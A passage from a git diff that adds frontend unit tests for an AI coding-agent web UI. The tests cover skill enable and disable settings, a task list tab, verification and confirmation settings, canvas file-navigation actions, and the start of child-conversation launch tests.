+    await screen.findByTestId(`skill-card-${skill.name}`);
+    const card = screen.getByTestId(`skill-card-${skill.name}`);
+
+    await user.click(within(card).getByTestId(`skill-toggle-${skill.name}`));
+
+    await waitFor(() =>
+      expect(saveSpy).toHaveBeenCalledWith(
+        expect.objectContaining({ disabled_skills: [skill.name] }),
+      ),
+    );
+  });
+
+  it("saves an updated disabled list when a skill is toggled off and settings already has disabled_skills", async () => {
+    const user = userEvent.setup();
+    const skill = buildSkill({ name: "another-skill" });
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ disabled_skills: [] }),
+    );
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderSkillsSettingsScreen();
+    await screen.findByTestId(`skill-card-${skill.name}`);
+    const card = screen.getByTestId(`skill-card-${skill.name}`);
+
+    await user.click(within(card).getByTestId(`skill-toggle-${skill.name}`));
+
+    await waitFor(() =>
+      expect(saveSpy).toHaveBeenCalledWith(
+        expect.objectContaining({ disabled_skills: [skill.name] }),
+      ),
+    );
+  });
+
+  it("toggles a skill from the card without opening the modal", async () => {
+    const user = userEvent.setup();
+    const skill = buildSkill({ name: "card-toggle" });
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${skill.name}`);
+
+    await user.click(within(card).getByTestId(`skill-toggle-${skill.name}`));
+
+    expect(card).not.toHaveClass("opacity-70");
+    expect(
+      within(card).getByTestId(`skill-toggle-${skill.name}`),
+    ).toHaveAttribute("aria-checked", "false");
+    expect(screen.queryByTestId("skill-detail-modal")).not.toBeInTheDocument();
+  });
+
+  it("shows an empty-state message when no skills match the current filters", async () => {
+    const skill = buildSkill();
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+
+    renderSkillsSettingsScreen();
+    await screen.findByTestId(`skill-card-${skill.name}`);
+
+    fireEvent.change(screen.getByTestId("skills-search-input"), {
+      target: { value: "no-such-skill-xyz" },
+    });
+
+    expect(screen.getByTestId("skills-no-match")).toBeInTheDocument();
+  });
+
+  it("opens the add skill modal with docs link and closes it", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([]);
+
+    renderSkillsSettingsScreen();
+    await screen.findByTestId("skills-add-skill-button");
+
+    await user.click(screen.getByTestId("skills-add-skill-button"));
+
+    const modal = await screen.findByTestId("add-skill-modal");
+    expect(modal).toBeInTheDocument();
+    expect(screen.getByTestId("add-skill-modal-example")).toHaveTextContent(
+      "/add-skill https://github.com/OpenHands/extensions/tree/main/skills/codereview",
+    );
+    expect(screen.getByTestId("add-skill-modal-docs-link")).toHaveAttribute(
+      "href",
+      ADD_SKILL_DOCS_URL,
+    );
+
+    await user.click(screen.getByTestId("add-skill-modal-dismiss"));
+
+    expect(screen.queryByTestId("add-skill-modal")).not.toBeInTheDocument();
+  });
+
+  it("copies the example command from the add skill modal", async () => {
+    const user = userEvent.setup();
+    const writeText = vi.fn().mockResolvedValue(undefined);
+    vi.spyOn(navigator.clipboard, "writeText").mockImplementation(writeText);
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([]);
+
+    renderSkillsSettingsScreen();
+    await user.click(await screen.findByTestId("skills-add-skill-button"));
+    await screen.findByTestId("add-skill-modal");
+
+    await user.click(screen.getByTestId("add-skill-modal-example-copy"));
+
+    expect(writeText).toHaveBeenCalledWith(ADD_SKILL_EXAMPLE_COMMAND);
+  });
+  // A skill from the bundled `@openhands/extensions` catalog: those are
+  // governed by the `enabled_skills` allow-list, not the deny-list.
+  const CATALOG_RECOMMENDED = "add-skill";
+  const CATALOG_OPTIONAL = "add-javadoc";
+
+  it("shows the notice that skill changes only reach new conversations", async () => {
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([]);
+
+    renderSkillsSettingsScreen();
+
+    expect(
+      await screen.findByTestId("skills-new-conversation-notice"),
+    ).toHaveTextContent("SETTINGS$SKILLS_NEW_CONVERSATION_NOTICE");
+  });
+
+  it("badges a catalog skill the catalog recommends", async () => {
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: CATALOG_RECOMMENDED }),
+      buildSkill({ name: CATALOG_OPTIONAL }),
+    ]);
+
+    renderSkillsSettingsScreen();
+    await screen.findByTestId(`skill-card-${CATALOG_RECOMMENDED}`);
+
+    expect(
+      screen.getByTestId(`skill-recommended-${CATALOG_RECOMMENDED}`),
+    ).toHaveTextContent("SETTINGS$SKILLS_RECOMMENDED");
+    expect(
+      screen.queryByTestId(`skill-recommended-${CATALOG_OPTIONAL}`),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders an unlisted catalog skill as off without it being denied", async () => {
+    // The reported bug: everything in the catalog arrived switched on.
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: CATALOG_OPTIONAL }),
+    ]);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ enabled_skills: undefined, disabled_skills: [] }),
+    );
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${CATALOG_OPTIONAL}`);
+
+    expect(
+      within(card).getByTestId(`skill-toggle-${CATALOG_OPTIONAL}`),
+    ).toHaveAttribute("aria-checked", "false");
+  });
+
+  it("writes nothing back when the user toggles nothing", async () => {
+    // Persisting the hydrated state on mount would race the one-shot migration
+    // and could narrow a workspace it had just preserved.
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: CATALOG_OPTIONAL }),
+    ]);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ enabled_skills: undefined, disabled_skills: [] }),
+    );
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderSkillsSettingsScreen();
+    await screen.findByTestId(`skill-card-${CATALOG_OPTIONAL}`);
+    await waitFor(() =>
+      expect(screen.getByTestId("skills-result-summary")).toBeInTheDocument(),
+    );
+
+    expect(saveSpy).not.toHaveBeenCalled();
+  });
+
+  it("saves a catalog toggle to enabled_skills rather than the deny-list", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: CATALOG_RECOMMENDED }),
+    ]);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ enabled_skills: [CATALOG_RECOMMENDED] }),
+    );
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${CATALOG_RECOMMENDED}`);
+
+    await user.click(
+      within(card).getByTestId(`skill-toggle-${CATALOG_RECOMMENDED}`),
+    );
+
+    await waitFor(() =>
+      expect(saveSpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          enabled_skills: [],
+          disabled_skills: [],
+        }),
+      ),
+    );
+  });
+
+  it("drops a re-enabled catalog skill from an unmigrated deny-list", async () => {
+    // A stale deny entry would otherwise veto the allow-list entry we just
+    // wrote, leaving the toggle on and the skill still absent.
+    const user = userEvent.setup();
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: CATALOG_RECOMMENDED }),
+    ]);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        enabled_skills: undefined,
+        disabled_skills: [CATALOG_RECOMMENDED],
+      }),
+    );
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${CATALOG_RECOMMENDED}`);
+
+    await user.click(
+      within(card).getByTestId(`skill-toggle-${CATALOG_RECOMMENDED}`),
+    );
+
+    await waitFor(() =>
+      expect(saveSpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          enabled_skills: expect.arrayContaining([CATALOG_RECOMMENDED]),
+          disabled_skills: [],
+        }),
+      ),
+    );
+  });
+});
diff --git a/__tests__/routes/task-list-tab.test.tsx b/__tests__/routes/task-list-tab.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2c5906a12a56dcdb547d48ccdeb78252572e2afe
--- /dev/null
+++ b/__tests__/routes/task-list-tab.test.tsx
@@ -0,0 +1,179 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import TaskListTab from "#/routes/task-list-tab";
+import { useEventStore } from "#/stores/use-event-store";
+import type { OHEvent } from "#/stores/use-event-store";
+
+// Mock i18n
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        COMMON$NO_TASKS: "No tasks yet",
+        TASK_TRACKING_OBSERVATION$TASK_NOTES: "Notes",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+type TestTask = {
+  id?: string;
+  title: string;
+  status: "todo" | "in_progress" | "done";
+  notes?: string;
+};
+
+function createTaskTrackingObservation(id: string, tasks: TestTask[]): OHEvent {
+  return {
+    id,
+    timestamp: `2025-07-01T00:00:0${id}Z`,
+    source: "environment",
+    tool_name: "task_tracker",
+    tool_call_id: `call_${id}`,
+    action_id: `action_${id}`,
+    observation: {
+      kind: "TaskTrackerObservation",
+      content: "Task tracking update",
+      command: "plan",
+      task_list: tasks.map((task) => ({
+        title: task.title,
+        notes: task.notes ?? "",
+        status: task.status,
+      })),
+    },
+  } as OHEvent;
+}
+
+function setTasks(tasks: TestTask[]) {
+  const event = createTaskTrackingObservation("1", tasks);
+  useEventStore.setState({
+    events: [event],
+    eventIds: new Set(["1"]),
+    uiEvents: [event],
+  });
+}
+
+beforeEach(() => {
+  useEventStore.setState({
+    events: [],
+    eventIds: new Set(),
+    uiEvents: [],
+  });
+});
+
+describe("TaskListTab", () => {
+  it("renders empty state with icon and message when there are no tasks", () => {
+    const { container } = render(<TaskListTab />);
+
+    expect(screen.getByText("No tasks yet")).toBeInTheDocument();
+    // Empty state should show the check-circle icon (rendered as SVG)
+    expect(container.querySelector("svg")).toBeInTheDocument();
+  });
+
+  it("renders empty state message in a centered caption", () => {
+    render(<TaskListTab />);
+
+    const message = screen.getByText("No tasks yet");
+    expect(message.tagName).toBe("P");
+  });
+
+  it("renders task items when tasks exist", () => {
+    setTasks([
+      { id: "1", title: "Implement feature", status: "todo" },
+      { id: "2", title: "Write tests", status: "in_progress" },
+      { id: "3", title: "Deploy", status: "done" },
+    ]);
+
+    const { container } = render(<TaskListTab />);
+
+    expect(screen.getByText("Implement feature")).toBeInTheDocument();
+    expect(screen.getByText("Write tests")).toBeInTheDocument();
+    expect(screen.getByText("Deploy")).toBeInTheDocument();
+
+    const taskItems = container.querySelectorAll('[data-name="item"]');
+    expect(taskItems).toHaveLength(3);
+  });
+
+  it("does not display task IDs", () => {
+    setTasks([{ id: "task-1", title: "First task", status: "todo" }]);
+
+    render(<TaskListTab />);
+
+    expect(screen.queryByText(/task-1/)).not.toBeInTheDocument();
+  });
+
+  it("marks in_progress tasks as active via data-active", () => {
+    setTasks([
+      { id: "1", title: "Todo task", status: "todo" },
+      { id: "2", title: "Active task", status: "in_progress" },
+      { id: "3", title: "Done task", status: "done" },
+    ]);
+
+    render(<TaskListTab />);
+
+    // Find each task item via its text, then check the wrapper div
+    const activeWrapper = screen
+      .getByText("Active task")
+      .closest("[data-name]")?.parentElement;
+    expect(activeWrapper).toHaveAttribute("data-active", "true");
+
+    const todoWrapper = screen
+      .getByText("Todo task")
+      .closest("[data-name]")?.parentElement;
+    expect(todoWrapper).toHaveAttribute("data-active", "false");
+
+    const doneWrapper = screen
+      .getByText("Done task")
+      .closest("[data-name]")?.parentElement;
+    expect(doneWrapper).toHaveAttribute("data-active", "false");
+  });
+
+  it("displays task notes when present and omits when absent", () => {
+    setTasks([
+      {
+        id: "1",
+        title: "Task with notes",
+        status: "todo",
+        notes: "Important note",
+      },
+      { id: "2", title: "Task without notes", status: "todo" },
+    ]);
+
+    render(<TaskListTab />);
+
+    expect(screen.getByText("Notes: Important note")).toBeInTheDocument();
+    expect(screen.getAllByText(/^Notes:/)).toHaveLength(1);
+  });
+
+  it("uses the latest plan event when multiple exist", () => {
+    const event1 = createTaskTrackingObservation("1", [
+      { id: "1", title: "Old task", status: "todo" },
+    ]);
+    const event2 = createTaskTrackingObservation("2", [
+      { id: "1", title: "Updated task", status: "done" },
+      { id: "2", title: "New task", status: "in_progress" },
+    ]);
+
+    useEventStore.setState({
+      events: [event1, event2],
+      eventIds: new Set(["1", "2"]),
+      uiEvents: [event1, event2],
+    });
+
+    render(<TaskListTab />);
+
+    expect(screen.queryByText("Old task")).not.toBeInTheDocument();
+    expect(screen.getByText("Updated task")).toBeInTheDocument();
+    expect(screen.getByText("New task")).toBeInTheDocument();
+  });
+
+  it("renders as a scrollable main element when tasks exist", () => {
+    setTasks([{ id: "1", title: "A task", status: "todo" }]);
+
+    render(<TaskListTab />);
+
+    const main = screen.getByRole("main");
+    expect(main).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/routes/verification-settings.test.tsx b/__tests__/routes/verification-settings.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ae8f886604eb35e00890ac018b899d7372222a4e
--- /dev/null
+++ b/__tests__/routes/verification-settings.test.tsx
@@ -0,0 +1,230 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import VerificationSettingsScreen from "#/routes/verification-settings";
+import { Settings } from "#/types/settings";
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+      ...overrides.agent_settings,
+    },
+    conversation_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.conversation_settings,
+      ...overrides.conversation_settings,
+    },
+    agent_settings_schema:
+      overrides.agent_settings_schema ??
+      MOCK_DEFAULT_USER_SETTINGS.agent_settings_schema,
+    conversation_settings_schema:
+      overrides.conversation_settings_schema ??
+      MOCK_DEFAULT_USER_SETTINGS.conversation_settings_schema,
+  };
+}
+
+function renderVerificationSettingsScreen() {
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+    },
+  });
+
+  return render(<VerificationSettingsScreen />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+    ),
+  });
+}
+
+beforeEach(() => {
+  vi.restoreAllMocks();
+});
+
+describe("VerificationSettingsScreen", () => {
+  it("renders critic controls in basic view", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          verification: {
+            critic_enabled: true,
+            enable_iterative_refinement: false,
+          },
+        },
+      }),
+    );
+
+    renderVerificationSettingsScreen();
+
+    await screen.findByTestId("verification-settings-screen");
+
+    // Critical-prominence fields are visible in the basic view
+    expect(
+      screen.getByTestId("sdk-settings-verification.critic_enabled"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId(
+        "sdk-settings-verification.enable_iterative_refinement",
+      ),
+    ).toBeInTheDocument();
+
+    // The critic LLM API key is optional because the SDK falls back to the
+    // active LLM API key when this field is blank. It is still surfaced
+    // alongside the other critical-prominence fields when the critic is on.
+    const apiKeyInput = screen.getByTestId(
+      "sdk-settings-verification.critic_api_key",
+    );
+    expect(apiKeyInput).toBeInTheDocument();
+    expect(apiKeyInput).toHaveAttribute("type", "password");
+    expect(apiKeyInput).not.toBeRequired();
+
+    // The accompanying help link points users at OpenHands Cloud, mirroring
+    // the hint we already show under the LLM provider's API key field.
+    const helpLink = screen.getByTestId(
+      "help-link-verification.critic_api_key",
+    );
+    expect(helpLink).toBeInTheDocument();
+    expect(
+      helpLink.querySelector(
+        'a[href="https://app.all-hands.dev/settings/api-keys"]',
+      ),
+    ).not.toBeNull();
+
+    // Major-prominence fields (confirmation_mode) are hidden in basic view
+    expect(
+      screen.queryByTestId("sdk-settings-confirmation_mode"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("hides the critic API key field when the critic is disabled", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          verification: {
+            critic_enabled: false,
+            enable_iterative_refinement: false,
+          },
+        },
+      }),
+    );
+
+    renderVerificationSettingsScreen();
+
+    await screen.findByTestId("verification-settings-screen");
+
+    expect(
+      screen.queryByTestId("sdk-settings-verification.critic_api_key"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows confirmation controls in the advanced view", async () => {
+    // Set confirmation_mode to true so inferInitialView picks "advanced"
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        conversation_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.conversation_settings,
+          confirmation_mode: true,
+        },
+      }),
+    );
+
+    renderVerificationSettingsScreen();
+
+    await screen.findByTestId("verification-settings-screen");
+
+    // Confirmation mode (major prominence) should be visible
+    expect(
+      screen.getByTestId("sdk-settings-confirmation_mode"),
+    ).toBeInTheDocument();
+    // Security analyzer depends on confirmation_mode being true
+    expect(
+      screen.getByTestId("sdk-settings-security_analyzer"),
+    ).toBeInTheDocument();
+  });
+
+  it("deduplicates legacy agent verification fields in favor of conversation settings", async () => {
+    const legacyAgentSchema = structuredClone(
+      MOCK_DEFAULT_USER_SETTINGS.agent_settings_schema!,
+    );
+    const verificationSection = legacyAgentSchema.sections.find(
+      (section) => section.key === "verification",
+    );
+    expect(verificationSection).toBeDefined();
+    verificationSection!.fields.push(
+      {
+        key: "verification.confirmation_mode",
+        label: "Legacy confirmation mode",
+        description: "Legacy agent-owned confirmation mode.",
+        section: "verification",
+        section_label: "Verification",
+        value_type: "boolean",
+        default: false,
+        choices: [],
+        depends_on: [],
+        prominence: "major",
+        secret: false,
+        required: false,
+      },
+      {
+        key: "verification.security_analyzer",
+        label: "Legacy security analyzer",
+        description: "Legacy agent-owned security analyzer.",
+        section: "verification",
+        section_label: "Verification",
+        value_type: "string",
+        default: "llm",
+        choices: [
+          { label: "llm", value: "llm" },
+          { label: "none", value: "none" },
+        ],
+        depends_on: ["verification.confirmation_mode"],
+        prominence: "major",
+        secret: false,
+        required: false,
+      },
+    );
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: legacyAgentSchema,
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          verification: {
+            critic_enabled: false,
+            enable_iterative_refinement: false,
+            confirmation_mode: true,
+            security_analyzer: "llm",
+          },
+        },
+        conversation_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.conversation_settings,
+          confirmation_mode: true,
+          security_analyzer: "llm",
+        },
+      }),
+    );
+
+    renderVerificationSettingsScreen();
+
+    await screen.findByTestId("verification-settings-screen");
+
+    expect(
+      screen.getByTestId("sdk-settings-confirmation_mode"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("sdk-settings-security_analyzer"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("sdk-settings-verification.confirmation_mode"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("sdk-settings-verification.security_analyzer"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/services/canvas-ui.test.ts b/__tests__/services/canvas-ui.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..133e8c842939834884af7dd04ceb081a4c31483a
--- /dev/null
+++ b/__tests__/services/canvas-ui.test.ts
@@ -0,0 +1,212 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import ConversationService from "#/api/conversation-service/conversation-service.api";
+import {
+  CANVAS_UI_CLIENT_ACTION_KIND,
+  CANVAS_UI_CLIENT_TOOL_NAME,
+  LEGACY_CANVAS_UI_TOOL_NAME,
+} from "#/constants/canvas-ui";
+import { handleCanvasUIAction, openWorkspaceFile } from "#/services/canvas-ui";
+import { useConversationStore } from "#/stores/conversation-store";
+import { useFilesTabStore } from "#/stores/files-tab-store";
+import type { CanvasUIAction } from "#/types/agent-server/core";
+import { isCanvasUIActionEvent } from "#/types/agent-server/type-guards";
+
+// Helper: build a CanvasUIAction without repeating the literal `kind`
+// discriminator in every test case.
+function action(overrides: Partial<CanvasUIAction>): CanvasUIAction {
+  return { kind: "CanvasUIAction", ...overrides } as CanvasUIAction;
+}
+
+describe("handleCanvasUIAction", () => {
+  beforeEach(() => {
+    ConversationService.setCurrentConversation(null);
+    useConversationStore.setState({
+      selectedTab: null,
+      isRightPanelShown: false,
+      hasRightPanelToggled: false,
+    });
+    useFilesTabStore.setState({
+      selectedPath: null,
+      selectedConversationId: null,
+      openPaths: [],
+    });
+  });
+
+  it("navigate_to_file selects the files tab, reveals the panel, and sets selectedPath", () => {
+    handleCanvasUIAction(
+      action({ command: "navigate_to_file", path: "docs/intro.html" }),
+      "conv-1",
+    );
+
+    const conv = useConversationStore.getState();
+    expect(conv.selectedTab).toBe("files");
+    expect(conv.isRightPanelShown).toBe(true);
+    expect(useFilesTabStore.getState().selectedPath).toBe("docs/intro.html");
+    expect(useFilesTabStore.getState().selectedConversationId).toBe("conv-1");
+    expect(useFilesTabStore.getState().openPaths).toEqual(["docs/intro.html"]);
+  });
+
+  it("show_preview selects the files tab and the requested path", () => {
+    handleCanvasUIAction(
+      action({ command: "show_preview", path: "report.html" }),
+    );
+
+    expect(useConversationStore.getState().selectedTab).toBe("files");
+    expect(useFilesTabStore.getState().selectedPath).toBe("report.html");
+  });
+
+  it("open_tab switches to a valid tab without touching selectedPath", () => {
+    handleCanvasUIAction(action({ command: "open_tab", tab: "terminal" }));
+
+    expect(useConversationStore.getState().selectedTab).toBe("terminal");
+    expect(useFilesTabStore.getState().selectedPath).toBeNull();
+  });
+
+  it("open_tab ignores unknown tab values and surfaces a warning for debuggability", () => {
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    try {
+      handleCanvasUIAction(action({ command: "open_tab", tab: "not_a_tab" }));
+
+      expect(useConversationStore.getState().selectedTab).toBeNull();
+      expect(useConversationStore.getState().isRightPanelShown).toBe(false);
+      expect(warnSpy).toHaveBeenCalledWith(
+        expect.stringContaining("not_a_tab"),
+      );
+    } finally {
+      warnSpy.mockRestore();
+    }
+  });
+
+  it("open_tab routes the removed vscode tab to files", () => {
+    handleCanvasUIAction(action({ command: "open_tab", tab: "vscode" }));
+
+    expect(useConversationStore.getState().selectedTab).toBe("files");
+    expect(useConversationStore.getState().isRightPanelShown).toBe(true);
+    expect(useFilesTabStore.getState().selectedPath).toBeNull();
+  });
+
+  it("navigate_to_file leaves selectedPath alone when no path is supplied", () => {
+    useFilesTabStore.setState({ selectedPath: "previous.txt" });
+
+    handleCanvasUIAction(action({ command: "navigate_to_file", path: null }));
+
+    expect(useFilesTabStore.getState().selectedPath).toBe("previous.txt");
+    expect(useConversationStore.getState().selectedTab).toBe("files");
+  });
+
+  it("strips the conversation working dir from absolute host paths", () => {
+    ConversationService.setCurrentConversation({
+      id: "conv-abs",
+      workspace: { working_dir: "/Users/me/ws" },
+    } as never);
+
+    handleCanvasUIAction(
+      action({
+        command: "navigate_to_file",
+        path: "/Users/me/ws/agentic_ai.docx",
+      }),
+      "conv-abs",
+    );
+
+    expect(useFilesTabStore.getState().selectedPath).toBe("agentic_ai.docx");
+  });
+
+  it("strips a nested /workspace working dir before selecting the file", () => {
+    ConversationService.setCurrentConversation({
+      id: "conv-nested",
+      workspace: { working_dir: "/workspace/project/packages/app" },
+    } as never);
+
+    handleCanvasUIAction(
+      action({
+        command: "navigate_to_file",
+        path: "/workspace/project/packages/app/src/index.ts",
+      }),
+      "conv-nested",
+    );
+
+    expect(useFilesTabStore.getState().selectedPath).toBe("src/index.ts");
+  });
+});
+
+describe("openWorkspaceFile", () => {
+  beforeEach(() => {
+    ConversationService.setCurrentConversation(null);
+    useConversationStore.setState({
+      selectedTab: null,
+      isRightPanelShown: false,
+      hasRightPanelToggled: false,
+    });
+    useFilesTabStore.setState({
+      selectedPath: null,
+      selectedConversationId: null,
+      openPaths: [],
+    });
+  });
+
+  it("delegates to navigate_to_file with the active conversation", () => {
+    ConversationService.setCurrentConversation({
+      id: "conv-1",
+      workspace: { working_dir: "/Users/me/project" },
+    } as never);
+
+    openWorkspaceFile("/Users/me/project/test.md");
+
+    expect(useConversationStore.getState().selectedTab).toBe("files");
+    expect(useConversationStore.getState().isRightPanelShown).toBe(true);
+    expect(useFilesTabStore.getState().selectedPath).toBe("test.md");
+    expect(useFilesTabStore.getState().selectedConversationId).toBe("conv-1");
+    expect(useFilesTabStore.getState().openPaths).toEqual(["test.md"]);
+  });
+});
+
+describe("isCanvasUIActionEvent", () => {
+  function makeActionEvent(overrides: Record<string, unknown> = {}) {
+    return {
+      id: "evt-1",
+      timestamp: "2026-05-13T00:00:00Z",
+      source: "agent",
+      action: { kind: "CanvasUIAction" },
+      tool_name: LEGACY_CANVAS_UI_TOOL_NAME,
+      tool_call_id: "call-1",
+      ...overrides,
+    };
+  }
+
+  it.each([
+    ["CanvasUIAction", LEGACY_CANVAS_UI_TOOL_NAME],
+    [CANVAS_UI_CLIENT_ACTION_KIND, CANVAS_UI_CLIENT_TOOL_NAME],
+  ])("returns true for a %s ActionEvent from %s", (kind, toolName) => {
+    expect(
+      isCanvasUIActionEvent(
+        makeActionEvent({
+          action: { kind, command: "open_tab" },
+          tool_name: toolName,
+        }) as never,
+      ),
+    ).toBe(true);
+  });
+
+  it("returns false when tool_name belongs to a different tool", () => {
+    expect(
+      isCanvasUIActionEvent(
+        makeActionEvent({ tool_name: "execute_bash" }) as never,
+      ),
+    ).toBe(false);
+  });
+
+  it("returns false for a non-action event (no action field)", () => {
+    const observationEvent = {
+      id: "evt-2",
+      timestamp: "2026-05-13T00:00:00Z",
+      source: "environment",
+      observation: { kind: "ExecuteBashObservation" },
+      tool_name: LEGACY_CANVAS_UI_TOOL_NAME,
+      tool_call_id: "call-1",
+    };
+
+    expect(isCanvasUIActionEvent(observationEvent as never)).toBe(false);
+  });
+});
diff --git a/__tests__/services/child-conversation-launch.test.ts b/__tests__/services/child-conversation-launch.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..3e4b52dc49d69f4abe415ec283affb1615703029
--- /dev/null
+++ b/__tests__/services/child-conversation-launch.test.ts
@@ -0,0 +1,565 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import {
+  CHILD_CONVERSATION_RESULT_PREFIX,
+  LAUNCH_CHILD_CONVERSATION_ACTION_KIND,
+  LAUNCH_CHILD_CONVERSATION_TOOL_NAME,
+} from "#/constants/child-conversation";
+import { setStoredConversationMetadata } from "#/api/conversation-metadata-store";
+import { useGoalStore } from "#/stores/goal-store";
+import type { LaunchChildConversationAction } from "#/types/agent-server/core";
+import { isLaunchChildConversationActionEvent } from "#/types/agent-server/type-guards";
+import {
+  handleLaunchChildConversationAction,
+  type LaunchChildConversationResult,
+} from "#/services/child-conversation-launch";
+
+const {
+  mockCreateConversation,
+  mockResolveWorkingDir,
+  mockSendMessage,
+  mockUpdateTitle,
+  mockCreateCloudAppConversation,
+  mockGetCloudStartTask,
+  mockPickCloudBackend,
+  mockGetCachedAgentServerVersion,
+} = vi.hoisted(() => ({
+  mockCreateConversation: vi.fn(),
+  mockResolveWorkingDir: vi.fn(),
+  mockSendMessage: vi.fn(),
+  mockUpdateTitle: vi.fn(),
+  mockCreateCloudAppConversation: vi.fn(),
+  mockGetCloudStartTask: vi.fn(),
+  mockPickCloudBackend: vi.fn(),
+  mockGetCachedAgentServerVersion: vi.fn(),
+}));
+
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: {
+      createConversation: mockCreateConversation,
+      resolveConversationWorkingDir: mockResolveWorkingDir,
+      sendMessage: mockSendMessage,
+      updateConversationTitle: mockUpdateTitle,
+    },
+  }),
+);
+
+vi.mock("#/api/cloud/conversation-service.api", () => ({
+  createCloudAppConversation: mockCreateCloudAppConversation,
+  getCloudAppConversationStartTask: mockGetCloudStartTask,
+  pickCloudBackendForLaunch: mockPickCloudBackend,
+}));
+
+vi.mock("#/api/agent-server-compatibility", () => ({
+  getCachedAgentServerVersion: mockGetCachedAgentServerVersion,
+  compareAgentServerVersions: (actual: string, required: string) => {
+    const parse = (v: string) => v.split(".").map(Number);
+    const [a, b] = [parse(actual), parse(required)];
+    for (let i = 0; i < 3; i += 1) {
+      if (a[i] > b[i]) return 1;
+      if (a[i] < b[i]) return -1;
+    }
+    return 0;
+  },
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displayErrorToast: vi.fn(),
+  displaySuccessToastWithLink: vi.fn(),
+}));
+
+const PARENT_ID = "parent-conversation-id";
+
+function action(
+  overrides: Partial<LaunchChildConversationAction>,
+): LaunchChildConversationAction {
+  return {
+    kind: LAUNCH_CHILD_CONVERSATION_ACTION_KIND,
+    target: "local",
+    task: "Add a regression test for the parser",
+    ...overrides,
+  } as LaunchChildConversationAction;
+}
+
+/** Read back the JSON payload the service posted into the parent conversation. */
+function reportedResult(): LaunchChildConversationResult {
+  const [, message] = mockSendMessage.mock.calls.at(-1) as [
+    string,
+    { content: { text: string }[] },
+  ];
